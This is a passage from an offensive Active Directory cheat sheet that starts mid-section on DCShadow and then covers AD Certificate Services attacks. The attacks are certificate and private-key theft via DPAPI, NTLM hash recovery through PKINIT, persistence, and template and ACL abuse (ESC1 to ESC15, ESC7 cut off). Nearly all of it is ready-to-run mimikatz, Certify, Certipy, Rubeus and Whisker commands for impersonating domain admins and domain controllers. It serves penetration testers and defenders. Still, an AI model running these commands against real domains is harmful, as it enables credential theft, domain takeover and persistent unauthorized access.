/user:Administrator /domain:domain.local /ntlm: /impersonate lsadump::dcshadow /push Minimal permissions DCShadow can be used with minimal permissions (and this) by modifying ACLs of : The domain object. DS-Install-Replica (Add/Remove Replica in Domain) DS-Replication-Manage-Topology (Manage Replication Topology) DS-Replication-Synchronize (Replication Synchornization) The Sites object (and its children) in the Configuration container. CreateChild and DeleteChild The object of the computer which is registered as a DC. WriteProperty (Not Write) The target object. WriteProperty (Not Write) Set-DCShadowPermissions can be used to setup automatically To use DCShadow as user user1 to modify user2 object from machine machine-user1 Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose Now, the second mimkatz instance (which runs as DA) is not required. Set interesting attributes Set SIDHistory to Enterprise Admin lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:-519 Modify primaryGroupID lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519 Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end. #Read the current ACL of high priv groups (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this : lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value: Set a SPN on an user lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1" Shadowception We can even run DCShadow from DCShadow, which is Shadowception (and still this). We need to append following ACEs with our user's SID at the end: On the domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID) On the attacker computer object: (A;;WP;;;UserSID) On the target user object: (A;;WP;;;UserSID) On the Sites object in Configuration container: (A;CI;CCDC;;;UserSID) Get the ACLs Get the ACLs for the Domain Object : (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl For the attacker machine : (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl For the target user : (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl For the Site Container : (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl Stack the queries After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query For each one : lsadump::dcshadow /stack /object: /attribute:ntSecurityDescriptor /value: Then just lsadump::dcshadow DCShadow can now be run from a user DCShadow-ed. References The Hacker Recipes Pentester Academy PayloadAllTheThings InternalAllTheThings Pentestlab.blog HackTricks Haax Red Teaming Experiments NetExec wiki Cube0x0 Dirk-jan Mollema Snovvcrash Exploit.ph Adam Chester Olivier Lyak Wagging the Dog Masky release Active Directory Spotlight LDAP Pass back SOAPHound ThievingFox SpecterOps MDSec Semperis Cogiceo Akamai Security Blog BloodHound Legacy & BloodHound CE Hack The Box Active Directory Certificate Services It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_. I will try to put as many links as possible at the end of the page to direct to more complete resources. Many commands are more explained here, where I have participate for AD-CS. Is there a CA ? Find the Cert Publishers group : From UNIX-like systems: rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController" From Windows systems: net group "Cert Publishers" /domain Find the PKI and enumerate the templates and configurations from Linux: netexec ldap 'domaincontroller' -d 'contoso' -u 'user' -p 'password' -M adcs certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' Find the CA from Windows: certutil -config - -ping Certify.exe cas Certify.exe find Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc. Certificate Theft Export user certificates with Crypto APIs - THEFT1 With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if the private keys are exportable : certmgr.msc -> All Tasks → Export... to export a password protected .pfx file. With PowerShell : $mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText Export-PfxCertificate -Cert cert:\currentuser\my\ -FilePath ./export.pfx -Password $mypwd #Or with CertStealer #List all certs CertStealer.exe --list #Export a cert in pfx CertStealer.exe --export pfx If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz : mimikatz # crypto::capi privilege::debug crypto::cng crypto::certificates /export Certificate theft via DPAPI - THEFT2 & 3 User certificates With the master key : #With SharpDPAPI SharpDPAPI.exe certificates /mkfile:key.txt #With Mimikatz #Export certificate and its public key to DER cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\ ./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export" Key Container : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #Find the master key (test them all until you find the good one) ./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad" pUniqueName : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one guidMasterKey : {f216eabc-73af-45dc-936b-babe7ca8ed05} #Decrypt the master key ./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70 #Decrypt the private key ./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit Private export : OK - 'dpapi_private_key.pvk' #Build PFX certificate openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx With a domain backup key to first decrypt all possible master keys : SharpDPAPI.exe certificates /pvk:key.pvk Machine certificates Same, but in a elevated context : SharpDPAPI.exe certificates /machine To convert a PEM file to a PFX : openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Finding certificate files - THEFT4 To search for possibly certificate and key related files with Seatbelt : ./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false" ./Seatbelt.exe InterestingFiles Other interesting extensions : .key : Contains just the private key .crt/.cer : Contains just the certificate .csr : Certificate signing request file. This does not contain certificates or keys .jks/.keystore/.keys : Java Keystore. May contain certs + private keys used by Java applications To find what the certificate can do : $CertPath = ".\cert.pfx" $CertPass = "Password123!" $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass) $Cert.EnhancedKeyUsageList #Or with a pfx certutil.exe -dump -v cert.pfx Verify if a found certificate is the CA certificate (you are really lucky) : #Show certificate thumbprint $CertPath = ".\cert.pfx" $CertPass = "Password123!" $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass) $Cert.Thumbprint #Verify CA thumbprint certutil.exe find /quiet If they match, it's good. NTLM Credential Theft via PKINIT – THEFT5 When a TGT is requested with PKINIT, the LM:NT hash is added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key. The structure can be unciphered if a TGS-REQ U2U is realised. It's called UnPac-the-hash. Windows Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show Linux # Authenticate and recover the NT hash certipy auth -pfx 'user.pfx' -no-save Account Persistence User account persistence - PERSIST1 With a user account control on a domain machine, if a template that allows Client Authentication is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password. Windows Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" Linux If the user's password is known: certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template' Machine account persistence - PERSIST2 With a machine account control, if a template that allows Client Authentication is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same). Windows Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine Linux If the machine's hash is known: certipy req -u 'machine@contoso.local' -hashes ':' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template' Account persistence via Certificate Renewal - PERSIST3 The renewal period of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate. The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself. Domain Privesc Template Attacks - ESC1, 2, 3, 9, 10, 13, 14, 15 In case PKINIT authentication fails with "Object SID mismatch between certificate and user", this means that Strong Certificate Mapping has been enabled. To avoid this error, you have to specify the target user SID in the req command, with -sid 'SID'with Certipy, and /sid 'SID' with Certify. ESC1 : SAN authorized & Low Privileged Users can enroll & Authentication EKU ESC2 : Low Privileged Users can enroll & Any or No EKU ESC3 : Certificate Request Agent EKU & Enrollment agent restrictions are not implemented on the CA A template allows a low-privileged user to use an enrollment agent certificate. Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication. Template misconfiguration - ESC1, 2 & 3 Windows ESC1 & 2 # Find vulnerable/abusable certificate templates using default low-privileged group Certify.exe find /vulnerable # Find vulnerable/abusable certificate templates using all groups the current user context is a part of: Certify.exe find /vulnerable /currentuser # Request certificate with SAN Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" /altname:"admin" # Convert PEM to PFX (from Linux) openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx If ANY EKU but no Client Authentication, it can be used as en ESC3. ESC2 & 3 # Request an enrollment agent certificate Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate # Request a certificate on behalf of another to a template that allow for domain authentication Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd! Linux ESC1 & 2 # enumerate and save text, json and bloodhound (original) outputs certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound # quickly spot vulnerable elements certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout #To specify a user account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local' #To specify a computer account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local' If ANY EKU but no Client Authentication, it can be used as en ESC3. ESC2 & 3 # Request a certificate specifying the Certificate Request Agent EKU certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' # Used issued certificate to request another certificate on behalf of another user certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx' Extension misconfiguration - ESC9 & 10 ESC9 : No security extension, the certificate attribute msPKI-Enrollment-Flag contains the flag CT_FLAG_NO_SECURITY_EXTENSION StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag (0x4) The template contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value The template specifies client authentication GenericWrite right against any account A to compromise any account B ESC10 : Weak certificate mapping Case 1 : StrongCertificateBindingEnforcement set to 0, meaning no strong mapping is performed A template that specifiy client authentication is enabled GenericWrite right against any account A to compromise any account B Case 2 : CertificateMappingMethods is set to 0x4, meaning no strong mapping is performed and only the UPN will be checked A template that specifiy client authentication is enabled GenericWrite right against any account A to compromise any account B without a UPN already set (machine accounts or buit-in Administrator account for example) Windows ESC9 Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value. #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to user3 Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose #Request vulnerable certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose #Authenticate with the certif and obtain user3 hash during UnPac the hash Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show ESC10 - Case 1 Here, user1 has GenericWrite against user2 and want to compromise user3. #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to user3 Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose #Request authentication certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"User" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose #Authenticate with the certif and obtain user3 hash during UnPac the hash Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show ESC10 - Case 2 Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local. #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to DC$@contoso.local Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose #Request authentication certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"User" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD. Linux ESC9 Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value. #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to user3 certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local #Request vulnerable certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate with the certif and obtain user3 hash during UnPac the hash certipy auth -pfx 'user3.pfx' -domain 'contoso.local' ESC10 - Case 1 Here, user1 has GenericWrite against user2 and want to compromise user3. #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to user3 certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local #Request authentication certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate with the certif and obtain user3 hash during UnPac the hash certipy auth -pfx 'user3.pfx' -domain 'contoso.local' ESC10 - Case 2 Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local. #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to DC$@contoso.local certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn 'DC$@contoso.local' #Request authentication certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate through Schannel to realise a RBCD in a LDAP shell certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell Issuance policiy with privileged group linked - ESC13 Issuance policy can be added to certificate template in the msPKI-Certificate-Policy attribute. Issuing policies are msPKI-Enterprise-Oid objects found in the PKI OID container (CN=OID,CN=Public Key Services,CN=Services, in the Configuration Naming Context). This object has an msDS-OIDToGroupLink attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by Jonas Bülow Knudsen here. Windows Identify a template with an issuance policy. Get-ADObject "CN='Vulnerable template',$TemplateContainer" -Properties msPKI-Certificate-Policy Verify if an interesting group is linked to this policy. Get-ADObject "CN=$POLICY_ID,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink Then just request a certificate from the template. .\Certify.exe request /ca:CA.contoso.local\CA01 /template:"Vulnerable template" Linux This PR on Certipy permits to identify template with issuance policy, and which ones are linked to group. certipy find -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' Then just request a certificate from the template. certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Vulnerable template' Weak explicit mapping - ESC14 Theory and requirements for this privilege escalation technique are pretty complex, and it is mandatory to have strong knowledges about certificate mapping. I recommend you to read this page first. Detection Check for sufficient rights against altSecurityIdentities attributes: # Get the ACEs for a single object based on DistinguishedName Get-WriteAltSecIDACEs -DistinguishedName "dc=contoso,dc=local" # Get ACEs of all AD objects under domain root by piping them into Get-WriteAltSecIDACEs Get-ADObject -Filter * -SearchBase "dc=contoso,dc=local" | Get-WriteAltSecIDACEs dacledit.py -action 'read' -principal 'controlled_object' -target 'target_object' 'contoso'/'user':'password' Check for weak explicit mapping Get-AltSecIDMapping -SearchBase "CN=Users,DC=contoso,DC=local" ESC14 A - Write access on altSecurityIdentities The attacker has write access to the altSecurityIdentities attribute of the target He can enrol on a certificate as the victim and create an explicit mapping for the target by modifying its altSecurityIdentities attribute and pointing it to the obtained certificate The certificate can then be used to authenticate as the target # Obtain a first certificate Certify.exe request /ca:contoso\ca /template:Machine /machine # Craft a X509IssuerSerialNumber mapping string Get-X509IssuerSerialNumberFormat -SerialNumber $SERIAL_NUMBER -IssuerDistinguishedName $ISSUER_DN # Add the string to the altSecurityIdentities attribute on the target Add-AltSecIDMapping -DistinguishedName $TARGET_DN -MappingString $MAPPING_STRING Get-AltSecIDMapping -DistinguishedName $TARGET_DN # Use the previous certificate to authenticate as the target ESC14 B - Target with X509RFC822 (email) The target has an explicit weak mapping of type X509RFC822 The attacker can modify the mail attribute of the victim so that it matches the X509RFC822 mapping of the target It is then possible to enroll on the certificate model with the victim, and use the certificate obtained to authenticate as the target The target is a user account The target already has at least one X509RFC822 mapping in altSecurityIdentities The attacker has write access to the mail attribute of the victim The certificate template shows CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag and shows the attribute CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL in msPKI-Certificate-Name-Flag For PKINIT, StrongCertificateBindingEnforcement is set to 0 or 1 For Schannel, CertificateMappingMethods indicates 0x8 and StrongCertificateBindingEnforcement is set to 0 or 1 # Overwrite the mail attribute of the victim to match the X509RFC822 mapping of the target $victim = [ADSI]"LDAP://$VICTIM_DN" $victim.Properties["mail"].Value = $TARGET_EMAIL $victim.CommitChanges() # Request a certificate as the victim to authenticate as the target Certify.exe request /ca:contoso\ca /template:$TEMPLATE_MAIL ESC14 C - Target with X509IssuerSubject The target has an explicit weak mapping of type X509IssuerSubject The attacker can modify the cn or dNSHostName attribute of the victim to match the subject of the X509IssuerSubject mapping of the target It is then possible to enroll on the certificate template with the victim, and use the resulting certificate to authenticate as the target The target already has at least one X509IssuerSubject mapping in altSecurityIdentities If the victim is a user: The attacker can modify the cn and name attributes of the victim (to change the cn, the name must match) If the target is a user and the X509IssuerSubject mapping has the current value of the cn attribute of the target as its identifier, the victim and the target cannot be in the same container (the DC will not allow the cn of the victim to be set according to the cn of the target if they are in the same container, as this would mean that they have the same distinguishedName) If the victim is a machine: the attacker has write access to the dNSHostName attribute The certificate template indicates CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag (except for Schannel authentication with the DC having the CertificateMappingMethods key set to 0x1) The template has one of the following flags in msPKI-Certificate-Name-Flag: CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME or CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN The certificate does not have any of the following flags: CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH and CT_FLAG_SUBJECT_REQUIRE_EMAIL The enterprise PKI is the issuer referenced by IssuerName in the X509IssuerSubject mapping of the target For PKINIT, StrongCertificateBindingEnforcement is set to 0 or 1 For Schannel, CertificateMappingMethods indicates 0x8 and StrongCertificateBindingEnforcement is set to 0 or 1, or CertificateMappingMethods is set to 0x1 # Overwrite the cn attribute of the victim to be equal to target.contoso.local $victim = [ADSI]"LDAP://CN=$VICTIM,CN=Users,DC=contoso,DC=local" $victim.Rename("CN=$TARGET.contoso.local") Get-ADUser $VICTIM # Request a certificate as the victim to authenticate as the target Certify.exe request /ca:contoso\ca /template:$TEMPLATE ESC14 D - Target with X509SubjectOnly The target has an explicit weak mapping of type X509SubjectOnly The attacker can modify the cn or dNSHostName attribute of the victim to match the subject of the X509SubjectOnly mapping of the target It is then possible to enroll on the certificate template with the victim, and use the resulting certificate to authenticate as the target The target already has at least one X509SubjectOnly mapping in altSecurityIdentities If the victim is a user: The attacker can modify the cn and name attributes of the victim (to change the cn, the name must match) If the target is a user and the X509SubjectOnly mapping has the current value of the cn attribute of the target as its identifier, the victim and the target cannot be in the same container (the DC will not allow the cn of the victim to be set according to the cn of the target if they are in the same container, as this would mean that they have the same distinguishedName) If the victim is a machine: the attacker has write access to the dNSHostName attribute The certificate template indicates CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag The template has one of the following flags in msPKI-Certificate-Name-Flag: CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME or CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN The certificate does not have any of the following flags: CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH and CT_FLAG_SUBJECT_REQUIRE_EMAIL For PKINIT, StrongCertificateBindingEnforcement is set to 0 or 1 For Schannel, CertificateMappingMethods indicates 0x8 and StrongCertificateBindingEnforcement is set to 0 or 1 # Overwrite the cn attribute of the victim to be equal to target.contoso.local $victim = [ADSI]"LDAP://CN=$VICTIM,CN=Computers,DC=contoso,DC=local" $victim.Properties["dNSHostName"].Value = $TARGET $victim.CommitChanges() # Request a certificate as the victim to authenticate as the target Certify.exe request /ca:contoso\ca /template:$TEMPLATE /machine Arbitrary application policy - ESC15 (CVE-2024-49019) https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc15-cve-2024-49019-arbitrary-application-policy # Request a certificate with "Certificate Request Agent" application policy certipy req -u user1@contoso.local -p 'password' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'ca_name' -template 'vulnerable template' -dc-ip 'DC_IP' # Use the certificate in a ESC3 scenario to ask for a new certificate on behalf of another user certipy req -u user1@contoso.local -p 'password' -on-behalf-of domain\\Administrator -template User -ca 'ca_name' -pfx cert.pfx -dc-ip 'DC_IP' # Authenticate with the last certificate certipy auth -pfx administrator.pfx -dc-ip 'DC_IP' Access Controls Attacks - ESC4, 5, 7 Sufficient rights against a template - ESC4 https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4 Get Enrollment rights for the vulnerable template Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN Set mspki-certificate-application-policy to a certificate purpose for authentication Client Authentication (OID: 1.3.6.1.5.5.7.3.2) Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2) PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4) Any Purpose (OID: 2.5.29.37.0) No EKU Request a high privileged certificate for authentication and perform Pass-The-Ticket attack Windows # Add Certificate-Enrollment rights Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose # Disabling Manager Approval Requirement Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose # Disabling Authorized Signature Requirement Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose # Enabling SAN Specification Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose # Editting Certificate Application Policy Extension Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose Linux Quick override and restore # Overwrite the certificate template and save the old configuration certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old # After the ESC1 attack, restore the original configuration certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json' Precise modification # Query a certificate template (all attributes) python3 modifyCertTemplate.py -template templateName contoso.local/user:pass # Query the raw values of all template attributes python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass # Query the ACL for a certificate template python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass # Disabling Manager Approval Requirement python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass # Disabling Authorized Signature Requirement python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass # Enabling SAN Specification python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass # Editting Certificate Application Policy Extension python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass Sufficient rights against several objects - ESC5 CA server’s AD computer object (i.e., compromise through RBCD) The CA server’s RPC/DCOM server Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.) For more explains, take a look at this blog post and this one. In an AD, the Configuration naming context object is duplicated between all the writable DC of the forest, and any changes made by a DC in this object in its local copy are automatically propagated to all the other DC, including the DC of the root domain. The SYSTEM user on the child domain’s domain controller has full control of some objects in the domain-local copy of the forest root domain’s Configuration naming context. In particular, it has Full Control over the Certificate Templates container, meaning that it can add new (vulnerable) certificate templates, that will be replicated to the Configuration naming context on the root domain controller. Then, it also has Full Control over the Enrollment Services container, where the published templates are stored. So the privesc from DA in a child domain to EA in the root domain is quit straightforward: After the takeover of the child domain, open a RDP session on the domain controller as an administrator Open a PowerShell session as SYSTEM (for example with PsExec) Launch certtmpl.msc as SYSTEM and duplicate an existing template. In the properties, make it vulnerable to ESC1 Launch certsrv.msc as SYSTEM and publish the newly created template As another way, access the ADSI Edit as SYSTEM (via MMC) and add the new template to the certificateTemplates property of the Enrollment Services container Finally, perform the ESC1 attack with Certify of Certipy Sufficient rights against the CA - ESC7 https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7 Windows If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template # If RSAT is not present on the machine DISM.exe /Online /Get-Capabilities DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0 # Install PSPKI Install-Module -Name PSPKI Import-Module PSPKI PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access $configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com" $configReader.SetRootNode($true) $configReader.GetConfigEntry("EditFlags", 